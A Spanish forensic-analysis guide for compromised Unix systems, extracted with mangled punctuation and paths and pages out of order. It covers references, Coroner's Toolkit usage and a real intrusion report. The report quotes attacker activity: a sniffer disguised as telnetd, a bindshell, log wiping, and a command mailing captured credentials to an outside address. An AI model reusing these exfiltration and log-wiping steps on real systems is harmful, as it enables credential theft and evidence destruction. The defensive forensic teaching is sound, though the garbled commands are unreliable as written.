3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 25: Análisis Forense de Sistemas GNU/Linux, Unix

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

